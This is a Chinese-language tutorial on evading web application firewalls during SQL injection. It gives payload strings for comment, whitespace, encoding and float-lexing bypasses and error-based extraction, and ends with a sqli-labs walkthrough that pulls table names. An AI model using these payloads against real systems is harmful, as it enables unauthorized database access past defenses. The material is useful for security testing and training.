0x00 前言
Null
0x01 白盒绕过
1. 分析代码
2. 绕过限制
- 大小写变形:
Or,OR,oR,适用于正则没有/i - 等价替换:
and->&&,or->|| - 双写:
or->oorr
0x02 黑盒绕过
参考seceditor@MottoIN《WAF攻防研究之四个层次Bypass WAF》(mottoin.com/detail/359.html)
一、架构层绕过WAF
- 寻找源站(原始IP地址)->针对云WAF
- 利用同网段主机进行渗透->绕过WAF防护区域
- 利用边界漏洞(如利用SSRF)->绕过WAF防护区域
二、资源限制角度绕过WAF
POST大BODY(WAF可能会为了性能选择性忽略大数据包)
三、协议层面绕过WAF检测
1. 协议未覆盖
- 请求方式变换:GET->POST
Content-Type: application/x-www-form-urlencoded->multipart/form-data
2. 参数污染
检测:?id=1&id=2,WAF可能只检测第一个不检测第二个,中间件可能用第二个覆盖第一个
四、规则层面的绕过(绕过WAF规则)
1. SQL注释符绕过
-
union/**/select -
union/*aaaa%0xbbs*/select -
union/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/select /*(中间插入超长注释)*/ - 内联注释:
/*!xxx*/
2. 空白符绕过
-
MySQL空白符:
%09,%0A,%0B,%0D,%20,%0C,%A0,/*xxx*/ - 正则的空白符:
%09,%0A,%0B,%0D,%20- 例1:
union%250Cselect(%25即“%”,“%250C”即”%0C”)
- 例2:
union%25A0select
- 例1:
- 函数分割符号
-
concat%2520( -
concat/**/( -
concat%250C( -
concat%25a0(
-
- 浮点数词法解析(WAF可能对int/字符型+union select进行匹配,则用浮点型+union select)
-
where id=8E0union select -
where id=8.0union select -
where id=\Nunion select
-
- 利用error-based进行SQL注入(Error-based SQL注入函数非常容易被忽略)
-
extractvalue(1,concat(0x5c,md5(3))); -
updatexml(1,concat(0x5d,md5(3),1); -
GeometryCollection((select*from(select*from(select@@version)f)x)) -
ploygon((select*from(select name_const(version(),1))x)) -
linestring() -
multpoint() -
multilineString() -
multipolygon()
-
- MySQL特殊语法
select{x table_name}from{x information_schema.tables};
Fuzz绕过WAF
例1:注释符绕过
先测试最基本的:
union/**/select
再测试中间引入特殊字:
union/*aaaa%0xbbs*/select
最后测试注释长度:
union/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/select
模式:
union/*something*/select
例2:sqli-labs题解
- 检测:参数加单引号报错
- Fuzz: 把空格(
%20)替换为/**/,然后用脚本或bp在注释中插随机特殊字符进行Fuzz,如数字1、字母a、!、@、#、$、%、'等,通过响应长度、payload是否符合语法、响应是否报错判断发现/*%!%2f*/可绕过该WAF - 把参数中的空格(
%20)全部替换为/*%!%2f*/进行下一步测试 order by判断字段数为3个union select 1, 2, 3,发现2和3出现在页面上,故这两个位置可回显结果union select 1, user(), 3,发现又被拦截,可知可能是user()被匹配到,故改成user/*%!%2f*/(),查询成功-
union select 1, (select table_name from information_schema.tables where table_schema=database() limit 0, 1), 3--
//End of Article
参考文献:
